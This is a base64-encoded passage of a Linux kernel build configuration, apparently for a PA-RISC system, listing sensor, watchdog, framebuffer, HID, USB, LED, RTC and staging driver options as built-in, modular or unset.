R19TRU5TT1JTX1NNU0M0N0IzOTcgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX1NDSDU2
WFhfQ09NTU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19TQ0g1NjI3IGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0VOU09SU19TQ0g1NjM2IGlzIG5vdCBzZXQKIyBDT05GSUdfU0VOU09S
U19WSUE2ODZBIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfVlQxMjExPW0KQ09ORklHX1NF
TlNPUlNfVlQ4MjMxPW0KIyBDT05GSUdfU0VOU09SU19XODM2MjdIRiBpcyBub3Qgc2V0CkNP
TkZJR19TRU5TT1JTX1c4MzYyN0VIRj1tCiMgQ09ORklHX1RIRVJNQUwgaXMgbm90IHNldApD
T05GSUdfV0FUQ0hET0c9eQpDT05GSUdfV0FUQ0hET0dfQ09SRT15CiMgQ09ORklHX1dBVENI
RE9HX05PV0FZT1VUIGlzIG5vdCBzZXQKCiMKIyBXYXRjaGRvZyBEZXZpY2UgRHJpdmVycwoj
CkNPTkZJR19TT0ZUX1dBVENIRE9HPW0KIyBDT05GSUdfQUxJTTcxMDFfV0RUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSTYzMDBFU0JfV0RUIGlzIG5vdCBzZXQKCiMKIyBQQ0ktYmFzZWQgV2F0
Y2hkb2cgQ2FyZHMKIwojIENPTkZJR19QQ0lQQ1dBVENIRE9HIGlzIG5vdCBzZXQKIyBDT05G
SUdfV0RUUENJIGlzIG5vdCBzZXQKCiMKIyBVU0ItYmFzZWQgV2F0Y2hkb2cgQ2FyZHMKIwoj
IENPTkZJR19VU0JQQ1dBVENIRE9HIGlzIG5vdCBzZXQKQ09ORklHX1NTQl9QT1NTSUJMRT15
CgojCiMgU29uaWNzIFNpbGljb24gQmFja3BsYW5lCiMKQ09ORklHX1NTQj1tCkNPTkZJR19T
U0JfU1BST009eQpDT05GSUdfU1NCX1BDSUhPU1RfUE9TU0lCTEU9eQpDT05GSUdfU1NCX1BD
SUhPU1Q9eQojIENPTkZJR19TU0JfQjQzX1BDSV9CUklER0UgaXMgbm90IHNldAojIENPTkZJ
R19TU0JfREVCVUcgaXMgbm90IHNldApDT05GSUdfU1NCX0RSSVZFUl9QQ0lDT1JFX1BPU1NJ
QkxFPXkKQ09ORklHX1NTQl9EUklWRVJfUENJQ09SRT15CkNPTkZJR19CQ01BX1BPU1NJQkxF
PXkKCiMKIyBCcm9hZGNvbSBzcGVjaWZpYyBBTUJBCiMKIyBDT05GSUdfQkNNQSBpcyBub3Qg
c2V0CgojCiMgTXVsdGlmdW5jdGlvbiBkZXZpY2UgZHJpdmVycwojCkNPTkZJR19NRkRfQ09S
RT1tCiMgQ09ORklHX01GRF9DUk9TX0VDIGlzIG5vdCBzZXQKQ09ORklHX0hUQ19QQVNJQzM9
bQojIENPTkZJR19MUENfSUNIIGlzIG5vdCBzZXQKQ09ORklHX0xQQ19TQ0g9bQojIENPTkZJ
R19NRkRfSkFOWl9DTU9ESU8gaXMgbm90IHNldAojIENPTkZJR19NRkRfVklQRVJCT0FSRCBp
cyBub3Qgc2V0CiMgQ09ORklHX01GRF9SREMzMjFYIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZE
X1JUU1hfUENJIGlzIG5vdCBzZXQKQ09ORklHX01GRF9TTTUwMT1tCiMgQ09ORklHX0FCWDUw
MF9DT1JFIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1NZU0NPTiBpcyBub3Qgc2V0CiMgQ09O
RklHX01GRF9USV9BTTMzNVhfVFNDQURDIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RNSU8g
aXMgbm90IHNldAojIENPTkZJR19NRkRfVlg4NTUgaXMgbm90IHNldApDT05GSUdfUkVHVUxB
VE9SPXkKIyBDT05GSUdfUkVHVUxBVE9SX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVH
VUxBVE9SX0RVTU1ZIGlzIG5vdCBzZXQKQ09ORklHX1JFR1VMQVRPUl9GSVhFRF9WT0xUQUdF
PW0KIyBDT05GSUdfUkVHVUxBVE9SX1ZJUlRVQUxfQ09OU1VNRVIgaXMgbm90IHNldApDT05G
SUdfUkVHVUxBVE9SX1VTRVJTUEFDRV9DT05TVU1FUj1tCkNPTkZJR19NRURJQV9TVVBQT1JU
PW0KCiMKIyBNdWx0aW1lZGlhIGNvcmUgc3VwcG9ydAojCiMgQ09ORklHX01FRElBX0NBTUVS
QV9TVVBQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfTUVESUFfQU5BTE9HX1RWX1NVUFBPUlQg
aXMgbm90IHNldAojIENPTkZJR19NRURJQV9ESUdJVEFMX1RWX1NVUFBPUlQgaXMgbm90IHNl
dAojIENPTkZJR19NRURJQV9SQURJT19TVVBQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfTUVE
SUFfUkNfU1VQUE9SVCBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJREVPX0FEVl9ERUJVRyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1ZJREVPX0ZJWEVEX01JTk9SX1JBTkdFUyBpcyBub3Qgc2V0Cgoj
CiMgTWVkaWEgZHJpdmVycwojCiMgQ09ORklHX01FRElBX1VTQl9TVVBQT1JUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTUVESUFfUENJX1NVUFBPUlQgaXMgbm90IHNldAoKIwojIFN1cHBvcnRl
ZCBNTUMvU0RJTyBhZGFwdGVycwojCiMgQ09ORklHX0NZUFJFU1NfRklSTVdBUkUgaXMgbm90
IHNldAoKIwojIE1lZGlhIGFuY2lsbGFyeSBkcml2ZXJzICh0dW5lcnMsIHNlbnNvcnMsIGky
YywgZnJvbnRlbmRzKQojCgojCiMgQ3VzdG9taXNlIERWQiBGcm9udGVuZHMKIwoKIwojIFRv
b2xzIHRvIGRldmVsb3AgbmV3IGZyb250ZW5kcwojCiMgQ09ORklHX0RWQl9EVU1NWV9GRSBp
cyBub3Qgc2V0CgojCiMgR3JhcGhpY3Mgc3VwcG9ydAojCiMgQ09ORklHX0FHUCBpcyBub3Qg
c2V0CkNPTkZJR19WR0FfQVJCPXkKQ09ORklHX1ZHQV9BUkJfTUFYX0dQVVM9MTYKIyBDT05G
SUdfRFJNIGlzIG5vdCBzZXQKIyBDT05GSUdfVkdBU1RBVEUgaXMgbm90IHNldAojIENPTkZJ
R19WSURFT19PVVRQVVRfQ09OVFJPTCBpcyBub3Qgc2V0CkNPTkZJR19GQj15CkNPTkZJR19G
SVJNV0FSRV9FRElEPXkKIyBDT05GSUdfRkJfRERDIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJf
Qk9PVF9WRVNBX1NVUFBPUlQgaXMgbm90IHNldApDT05GSUdfRkJfQ0ZCX0ZJTExSRUNUPXkK
Q09ORklHX0ZCX0NGQl9DT1BZQVJFQT15CkNPTkZJR19GQl9DRkJfSU1BR0VCTElUPXkKIyBD
T05GSUdfRkJfQ0ZCX1JFVl9QSVhFTFNfSU5fQllURSBpcyBub3Qgc2V0CkNPTkZJR19GQl9T
WVNfRklMTFJFQ1Q9bQpDT05GSUdfRkJfU1lTX0NPUFlBUkVBPW0KQ09ORklHX0ZCX1NZU19J
TUFHRUJMSVQ9bQojIENPTkZJR19GQl9GT1JFSUdOX0VORElBTiBpcyBub3Qgc2V0CkNPTkZJ
R19GQl9TWVNfRk9QUz1tCkNPTkZJR19GQl9ERUZFUlJFRF9JTz15CiMgQ09ORklHX0ZCX1NW
R0FMSUIgaXMgbm90IHNldAojIENPTkZJR19GQl9NQUNNT0RFUyBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0JBQ0tMSUdIVCBpcyBub3Qgc2V0CkNPTkZJR19GQl9NT0RFX0hFTFBFUlM9eQoj
IENPTkZJR19GQl9USUxFQkxJVFRJTkcgaXMgbm90IHNldAoKIwojIEZyYW1lIGJ1ZmZlciBo
YXJkd2FyZSBkcml2ZXJzCiMKIyBDT05GSUdfRkJfQ0lSUlVTIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfUE0yIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQ1lCRVIyMDAwIGlzIG5vdCBzZXQK
IyBDT05GSUdfRkJfQVNJTElBTlQgaXMgbm90IHNldAojIENPTkZJR19GQl9JTVNUVCBpcyBu
b3Qgc2V0CkNPTkZJR19GQl9TVEk9eQojIENPTkZJR19GQl9TMUQxM1hYWCBpcyBub3Qgc2V0
CiMgQ09ORklHX0ZCX05WSURJQSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1JJVkEgaXMgbm90
IHNldAojIENPTkZJR19GQl9JNzQwIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTUFUUk9YIGlz
IG5vdCBzZXQKIyBDT05GSUdfRkJfUkFERU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVRZ
MTI4IGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJf
UzMgaXMgbm90IHNldAojIENPTkZJR19GQl9TQVZBR0UgaXMgbm90IHNldAojIENPTkZJR19G
Ql9TSVMgaXMgbm90IHNldAojIENPTkZJR19GQl9ORU9NQUdJQyBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0tZUk8gaXMgbm90IHNldAojIENPTkZJR19GQl8zREZYIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfVk9PRE9PMSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZUODYyMyBpcyBub3Qg
c2V0CiMgQ09ORklHX0ZCX1RSSURFTlQgaXMgbm90IHNldAojIENPTkZJR19GQl9BUksgaXMg
bm90IHNldAojIENPTkZJR19GQl9QTTMgaXMgbm90IHNldAojIENPTkZJR19GQl9DQVJNSU5F
IGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVE1JTyBpcyBub3Qgc2V0CkNPTkZJR19GQl9TTTUw
MT1tCiMgQ09ORklHX0ZCX1NNU0NVRlggaXMgbm90IHNldAojIENPTkZJR19GQl9VREwgaXMg
bm90IHNldAojIENPTkZJR19GQl9HT0xERklTSCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZJ
UlRVQUwgaXMgbm90IHNldApDT05GSUdfRkJfTUVUUk9OT01FPW0KQ09ORklHX0ZCX01CODYy
WFg9bQpDT05GSUdfRkJfTUI4NjJYWF9QQ0lfR0RDPXkKIyBDT05GSUdfRkJfQlJPQURTSEVF
VCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FVT19LMTkwWCBpcyBub3Qgc2V0CiMgQ09ORklH
X0VYWU5PU19WSURFTyBpcyBub3Qgc2V0CkNPTkZJR19CQUNLTElHSFRfTENEX1NVUFBPUlQ9
eQojIENPTkZJR19MQ0RfQ0xBU1NfREVWSUNFIGlzIG5vdCBzZXQKQ09ORklHX0JBQ0tMSUdI
VF9DTEFTU19ERVZJQ0U9eQojIENPTkZJR19CQUNLTElHSFRfR0VORVJJQyBpcyBub3Qgc2V0
CgojCiMgQ29uc29sZSBkaXNwbGF5IGRyaXZlciBzdXBwb3J0CiMKQ09ORklHX0RVTU1ZX0NP
TlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRV9DT0xVTU5TPTE2MApDT05GSUdfRFVNTVlf
Q09OU09MRV9ST1dTPTY0CkNPTkZJR19GUkFNRUJVRkZFUl9DT05TT0xFPXkKIyBDT05GSUdf
RlJBTUVCVUZGRVJfQ09OU09MRV9ERVRFQ1RfUFJJTUFSWSBpcyBub3Qgc2V0CkNPTkZJR19G
UkFNRUJVRkZFUl9DT05TT0xFX1JPVEFUSU9OPXkKQ09ORklHX1NUSV9DT05TT0xFPXkKIyBD
T05GSUdfRk9OVFMgaXMgbm90IHNldApDT05GSUdfRk9OVF84eDg9eQpDT05GSUdfRk9OVF84
eDE2PXkKQ09ORklHX0xPR089eQpDT05GSUdfTE9HT19MSU5VWF9NT05PPXkKQ09ORklHX0xP
R09fTElOVVhfVkdBMTY9eQpDT05GSUdfTE9HT19MSU5VWF9DTFVUMjI0PXkKQ09ORklHX0xP
R09fUEFSSVNDX0NMVVQyMjQ9eQojIENPTkZJR19TT1VORCBpcyBub3Qgc2V0CgojCiMgSElE
IHN1cHBvcnQKIwpDT05GSUdfSElEPW0KQ09ORklHX0hJRFJBVz15CiMgQ09ORklHX1VISUQg
aXMgbm90IHNldApDT05GSUdfSElEX0dFTkVSSUM9bQoKIwojIFNwZWNpYWwgSElEIGRyaXZl
cnMKIwpDT05GSUdfSElEX0E0VEVDSD1tCiMgQ09ORklHX0hJRF9BQ1JVWCBpcyBub3Qgc2V0
CkNPTkZJR19ISURfQVBQTEU9bQojIENPTkZJR19ISURfQVBQTEVJUiBpcyBub3Qgc2V0CiMg
Q09ORklHX0hJRF9BVVJFQUwgaXMgbm90IHNldApDT05GSUdfSElEX0JFTEtJTj1tCkNPTkZJ
R19ISURfQ0hFUlJZPW0KQ09ORklHX0hJRF9DSElDT05ZPW0KQ09ORklHX0hJRF9DWVBSRVNT
PW0KQ09ORklHX0hJRF9EUkFHT05SSVNFPW0KQ09ORklHX0RSQUdPTlJJU0VfRkY9eQojIENP
TkZJR19ISURfRU1TX0ZGIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0VMRUNPTSBpcyBub3Qg
c2V0CkNPTkZJR19ISURfRVpLRVk9bQojIENPTkZJR19ISURfSE9MVEVLIGlzIG5vdCBzZXQK
IyBDT05GSUdfSElEX0tFWVRPVUNIIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9LWUU9bQojIENP
TkZJR19ISURfVUNMT0dJQyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9XQUxUT1AgaXMgbm90
IHNldApDT05GSUdfSElEX0dZUkFUSU9OPW0KIyBDT05GSUdfSElEX0lDQURFIGlzIG5vdCBz
ZXQKQ09ORklHX0hJRF9UV0lOSEFOPW0KQ09ORklHX0hJRF9LRU5TSU5HVE9OPW0KIyBDT05G
SUdfSElEX0xDUE9XRVIgaXMgbm90IHNldAojIENPTkZJR19ISURfTEVOT1ZPX1RQS0JEIGlz
IG5vdCBzZXQKQ09ORklHX0hJRF9MT0dJVEVDSD1tCiMgQ09ORklHX0hJRF9MT0dJVEVDSF9E
SiBpcyBub3Qgc2V0CkNPTkZJR19MT0dJVEVDSF9GRj15CkNPTkZJR19MT0dJUlVNQkxFUEFE
Ml9GRj15CiMgQ09ORklHX0xPR0lHOTQwX0ZGIGlzIG5vdCBzZXQKQ09ORklHX0xPR0lXSEVF
TFNfRkY9eQojIENPTkZJR19ISURfTUFHSUNNT1VTRSBpcyBub3Qgc2V0CkNPTkZJR19ISURf
TUlDUk9TT0ZUPW0KQ09ORklHX0hJRF9NT05URVJFWT1tCiMgQ09ORklHX0hJRF9NVUxUSVRP
VUNIIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9OVFJJRz1tCiMgQ09ORklHX0hJRF9PUlRFSyBp
cyBub3Qgc2V0CkNPTkZJR19ISURfUEFOVEhFUkxPUkQ9bQpDT05GSUdfUEFOVEhFUkxPUkRf
RkY9eQpDT05GSUdfSElEX1BFVEFMWU5YPW0KIyBDT05GSUdfSElEX1BJQ09MQ0QgaXMgbm90
IHNldAojIENPTkZJR19ISURfUFJJTUFYIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1BTM1JF
TU9URSBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9ST0NDQVQgaXMgbm90IHNldAojIENPTkZJ
R19ISURfU0FJVEVLIGlzIG5vdCBzZXQKQ09ORklHX0hJRF9TQU1TVU5HPW0KQ09ORklHX0hJ
RF9TT05ZPW0KIyBDT05GSUdfSElEX1NQRUVETElOSyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJ
RF9TVEVFTFNFUklFUyBpcyBub3Qgc2V0CkNPTkZJR19ISURfU1VOUExVUz1tCkNPTkZJR19I
SURfR1JFRU5BU0lBPW0KQ09ORklHX0dSRUVOQVNJQV9GRj15CkNPTkZJR19ISURfU01BUlRK
T1lQTFVTPW0KQ09ORklHX1NNQVJUSk9ZUExVU19GRj15CiMgQ09ORklHX0hJRF9USVZPIGlz
IG5vdCBzZXQKQ09ORklHX0hJRF9UT1BTRUVEPW0KIyBDT05GSUdfSElEX1RISU5HTSBpcyBu
b3Qgc2V0CkNPTkZJR19ISURfVEhSVVNUTUFTVEVSPW0KQ09ORklHX1RIUlVTVE1BU1RFUl9G
Rj15CiMgQ09ORklHX0hJRF9XQUNPTSBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9XSUlNT1RF
IGlzIG5vdCBzZXQKQ09ORklHX0hJRF9aRVJPUExVUz1tCkNPTkZJR19aRVJPUExVU19GRj15
CiMgQ09ORklHX0hJRF9aWURBQ1JPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9TRU5TT1Jf
SFVCIGlzIG5vdCBzZXQKCiMKIyBVU0IgSElEIHN1cHBvcnQKIwpDT05GSUdfVVNCX0hJRD1t
CkNPTkZJR19ISURfUElEPXkKQ09ORklHX1VTQl9ISURERVY9eQpDT05GSUdfVVNCX0FSQ0hf
SEFTX09IQ0k9eQpDT05GSUdfVVNCX0FSQ0hfSEFTX0VIQ0k9eQpDT05GSUdfVVNCX0FSQ0hf
SEFTX1hIQ0k9eQpDT05GSUdfVVNCX1NVUFBPUlQ9eQpDT05GSUdfVVNCX0NPTU1PTj1tCkNP
TkZJR19VU0JfQVJDSF9IQVNfSENEPXkKQ09ORklHX1VTQj1tCkNPTkZJR19VU0JfREVCVUc9
eQpDT05GSUdfVVNCX0FOTk9VTkNFX05FV19ERVZJQ0VTPXkKCiMKIyBNaXNjZWxsYW5lb3Vz
IFVTQiBvcHRpb25zCiMKQ09ORklHX1VTQl9ERUZBVUxUX1BFUlNJU1Q9eQpDT05GSUdfVVNC
X0RZTkFNSUNfTUlOT1JTPXkKQ09ORklHX1VTQl9NT049bQpDT05GSUdfVVNCX1dVU0JfQ0JB
Rj1tCiMgQ09ORklHX1VTQl9XVVNCX0NCQUZfREVCVUcgaXMgbm90IHNldAoKIwojIFVTQiBI
b3N0IENvbnRyb2xsZXIgRHJpdmVycwojCkNPTkZJR19VU0JfQzY3WDAwX0hDRD1tCkNPTkZJ
R19VU0JfWEhDSV9IQ0Q9bQojIENPTkZJR19VU0JfWEhDSV9IQ0RfREVCVUdHSU5HIGlzIG5v
dCBzZXQKQ09ORklHX1VTQl9FSENJX0hDRD1tCiMgQ09ORklHX1VTQl9FSENJX1JPT1RfSFVC
X1RUIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9FSENJX1RUX05FV1NDSEVEPXkKQ09ORklHX1VT
Ql9FSENJX1BDST1tCiMgQ09ORklHX1VTQl9FSENJX0hDRF9QTEFURk9STSBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9PWFUyMTBIUF9IQ0QgaXMgbm90IHNldApDT05GSUdfVVNCX0lTUDEx
NlhfSENEPW0KIyBDT05GSUdfVVNCX0lTUDE3NjBfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX0lTUDEzNjJfSENEIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9PSENJX0hDRD1tCiMgQ09O
RklHX1VTQl9PSENJX0hDRF9TU0IgaXMgbm90IHNldAojIENPTkZJR19VU0JfT0hDSV9IQ0Rf
UExBVEZPUk0gaXMgbm90IHNldAojIENPTkZJR19VU0JfT0hDSV9CSUdfRU5ESUFOX0RFU0Mg
aXMgbm90IHNldAojIENPTkZJR19VU0JfT0hDSV9CSUdfRU5ESUFOX01NSU8gaXMgbm90IHNl
dApDT05GSUdfVVNCX09IQ0lfTElUVExFX0VORElBTj15CiMgQ09ORklHX1VTQl9VSENJX0hD
RCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TTDgxMV9IQ0QgaXMgbm90IHNldApDT05GSUdf
VVNCX1I4QTY2NTk3X0hDRD1tCiMgQ09ORklHX1VTQl9IQ0RfU1NCIGlzIG5vdCBzZXQKCiMK
IyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMKIwpDT05GSUdfVVNCX0FDTT1tCkNPTkZJR19V
U0JfUFJJTlRFUj1tCkNPTkZJR19VU0JfV0RNPW0KQ09ORklHX1VTQl9UTUM9bQoKIwojIE5P
VEU6IFVTQl9TVE9SQUdFIGRlcGVuZHMgb24gU0NTSSBidXQgQkxLX0RFVl9TRCBtYXkKIwoK
IwojIGFsc28gYmUgbmVlZGVkOyBzZWUgVVNCX1NUT1JBR0UgSGVscCBmb3IgbW9yZSBpbmZv
CiMKIyBDT05GSUdfVVNCX1NUT1JBR0UgaXMgbm90IHNldAoKIwojIFVTQiBJbWFnaW5nIGRl
dmljZXMKIwojIENPTkZJR19VU0JfTURDODAwIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX01J
Q1JPVEVLIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0RXQzMgaXMgbm90IHNldAojIENPTkZJ
R19VU0JfQ0hJUElERUEgaXMgbm90IHNldAoKIwojIFVTQiBwb3J0IGRyaXZlcnMKIwojIENP
TkZJR19VU0JfU0VSSUFMIGlzIG5vdCBzZXQKCiMKIyBVU0IgTWlzY2VsbGFuZW91cyBkcml2
ZXJzCiMKIyBDT05GSUdfVVNCX0VNSTYyIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0VNSTI2
IGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0FEVVRVWCBpcyBub3Qgc2V0CiMgQ09ORklHX1VT
Ql9TRVZTRUcgaXMgbm90IHNldAojIENPTkZJR19VU0JfUklPNTAwIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX0xFR09UT1dFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MQ0QgaXMgbm90
IHNldAojIENPTkZJR19VU0JfTEVEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0NZUFJFU1Nf
Q1k3QzYzIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0NZVEhFUk0gaXMgbm90IHNldAojIENP
TkZJR19VU0JfSURNT1VTRSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9GVERJX0VMQU4gaXMg
bm90IHNldAojIENPTkZJR19VU0JfQVBQTEVESVNQTEFZIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX1NJU1VTQlZHQSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MRCBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9UUkFOQ0VWSUJSQVRPUiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JT1dB
UlJJT1IgaXMgbm90IHNldAojIENPTkZJR19VU0JfVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9JU0lHSFRGVyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9ZVVJFWCBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9FWlVTQl9GWDIgaXMgbm90IHNldAojIENPTkZJR19VU0JfUEhZIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VXQiBp
cyBub3Qgc2V0CiMgQ09ORklHX01NQyBpcyBub3Qgc2V0CiMgQ09ORklHX01FTVNUSUNLIGlz
IG5vdCBzZXQKQ09ORklHX05FV19MRURTPXkKQ09ORklHX0xFRFNfQ0xBU1M9eQoKIwojIExF
RCBkcml2ZXJzCiMKIyBDT05GSUdfTEVEU19SRUdVTEFUT1IgaXMgbm90IHNldAojIENPTkZJ
R19MRURTX09UMjAwIGlzIG5vdCBzZXQKCiMKIyBMRUQgVHJpZ2dlcnMKIwpDT05GSUdfTEVE
U19UUklHR0VSUz15CkNPTkZJR19MRURTX1RSSUdHRVJfVElNRVI9eQpDT05GSUdfTEVEU19U
UklHR0VSX09ORVNIT1Q9eQpDT05GSUdfTEVEU19UUklHR0VSX0lERV9ESVNLPXkKQ09ORklH
X0xFRFNfVFJJR0dFUl9IRUFSVEJFQVQ9bQpDT05GSUdfTEVEU19UUklHR0VSX0JBQ0tMSUdI
VD1tCiMgQ09ORklHX0xFRFNfVFJJR0dFUl9DUFUgaXMgbm90IHNldApDT05GSUdfTEVEU19U
UklHR0VSX0RFRkFVTFRfT049bQoKIwojIGlwdGFibGVzIHRyaWdnZXIgaXMgdW5kZXIgTmV0
ZmlsdGVyIGNvbmZpZyAoTEVEIHRhcmdldCkKIwojIENPTkZJR19MRURTX1RSSUdHRVJfVFJB
TlNJRU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfTEVEU19UUklHR0VSX0NBTUVSQSBpcyBub3Qg
c2V0CiMgQ09ORklHX0FDQ0VTU0lCSUxJVFkgaXMgbm90IHNldAojIENPTkZJR19JTkZJTklC
QU5EIGlzIG5vdCBzZXQKQ09ORklHX1JUQ19MSUI9eQpDT05GSUdfUlRDX0NMQVNTPXkKQ09O
RklHX1JUQ19IQ1RPU1lTPXkKQ09ORklHX1JUQ19TWVNUT0hDPXkKQ09ORklHX1JUQ19IQ1RP
U1lTX0RFVklDRT0icnRjMCIKIyBDT05GSUdfUlRDX0RFQlVHIGlzIG5vdCBzZXQKCiMKIyBS
VEMgaW50ZXJmYWNlcwojCkNPTkZJR19SVENfSU5URl9TWVNGUz15CkNPTkZJR19SVENfSU5U
Rl9QUk9DPXkKQ09ORklHX1JUQ19JTlRGX0RFVj15CiMgQ09ORklHX1JUQ19JTlRGX0RFVl9V
SUVfRU1VTCBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfVEVTVCBpcyBub3Qgc2V0Cgoj
CiMgU1BJIFJUQyBkcml2ZXJzCiMKCiMKIyBQbGF0Zm9ybSBSVEMgZHJpdmVycwojCkNPTkZJ
R19SVENfRFJWX0RTMTI4Nj1tCkNPTkZJR19SVENfRFJWX0RTMTUxMT1tCkNPTkZJR19SVENf
RFJWX0RTMTU1Mz1tCkNPTkZJR19SVENfRFJWX0RTMTc0Mj1tCkNPTkZJR19SVENfRFJWX1NU
SzE3VEE4PW0KQ09ORklHX1JUQ19EUlZfTTQ4VDg2PW0KQ09ORklHX1JUQ19EUlZfTTQ4VDM1
PW0KQ09ORklHX1JUQ19EUlZfTTQ4VDU5PW0KIyBDT05GSUdfUlRDX0RSVl9NU002MjQyIGlz
IG5vdCBzZXQKQ09ORklHX1JUQ19EUlZfQlE0ODAyPW0KIyBDT05GSUdfUlRDX0RSVl9SUDVD
MDEgaXMgbm90IHNldApDT05GSUdfUlRDX0RSVl9WMzAyMD1tCiMgQ09ORklHX1JUQ19EUlZf
RFMyNDA0IGlzIG5vdCBzZXQKCiMKIyBvbi1DUFUgUlRDIGRyaXZlcnMKIwpDT05GSUdfUlRD
X0RSVl9HRU5FUklDPXkKCiMKIyBISUQgU2Vuc29yIFJUQyBkcml2ZXJzCiMKIyBDT05GSUdf
UlRDX0RSVl9ISURfU0VOU09SX1RJTUUgaXMgbm90IHNldAojIENPTkZJR19ETUFERVZJQ0VT
IGlzIG5vdCBzZXQKIyBDT05GSUdfQVVYRElTUExBWSBpcyBub3Qgc2V0CkNPTkZJR19VSU89
eQojIENPTkZJR19VSU9fQ0lGIGlzIG5vdCBzZXQKIyBDT05GSUdfVUlPX1BEUlYgaXMgbm90
IHNldApDT05GSUdfVUlPX1BEUlZfR0VOSVJRPW0KIyBDT05GSUdfVUlPX0RNRU1fR0VOSVJR
IGlzIG5vdCBzZXQKQ09ORklHX1VJT19BRUM9bQpDT05GSUdfVUlPX1NFUkNPUzM9bQpDT05G
SUdfVUlPX1BDSV9HRU5FUklDPW0KIyBDT05GSUdfVUlPX05FVFggaXMgbm90IHNldAojIENP
TkZJR19WSVJUX0RSSVZFUlMgaXMgbm90IHNldAoKIwojIFZpcnRpbyBkcml2ZXJzCiMKIyBD
T05GSUdfVklSVElPX1BDSSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJUlRJT19NTUlPIGlzIG5v
dCBzZXQKCiMKIyBNaWNyb3NvZnQgSHlwZXItViBndWVzdCBzdXBwb3J0CiMKQ09ORklHX1NU
QUdJTkc9eQojIENPTkZJR19FVDEzMVggaXMgbm90IHNldAojIENPTkZJR19VU0JJUF9DT1JF
IGlzIG5vdCBzZXQKIyBDT05GSUdfRUNITyBpcyBub3Qgc2V0CiMgQ09ORklHX0NPTUVESSBp
cyBub3Qgc2V0CiMgQ09ORklHX0FTVVNfT0xFRCBpcyBub3Qgc2V0CiMgQ09ORklHX1JUUzUx
MzkgaXMgbm90IHNldAojIENPTkZJR19UUkFOWlBPUlQgaXMgbm90IHNldAojIENPTkZJR19J
REVfUEhJU09OIGlzIG5vdCBzZXQKIyBDT05GSUdfRFhfU0VQIGlzIG5vdCBzZXQKIyBDT05G
SUdfWlNNQUxMT0MgaXMgbm90IHNldAojIENPTkZJR19GQl9TTTdYWCBpcyBub3Qgc2V0CiMg
Q09ORklHX0NSWVNUQUxIRCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1hHSSBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9FTkVTVE9SQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQkNNX1dJTUFY
IGlzIG5vdCBzZXQKIyBDT05GSUdfRlQxMDAwIGlzIG5vdCBzZXQKCiMKIyBTcGVha3VwIGNv
bnNvbGUgc3BlZWNoCiMKIyBDT05GSUdfU1BFQUtVUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NU
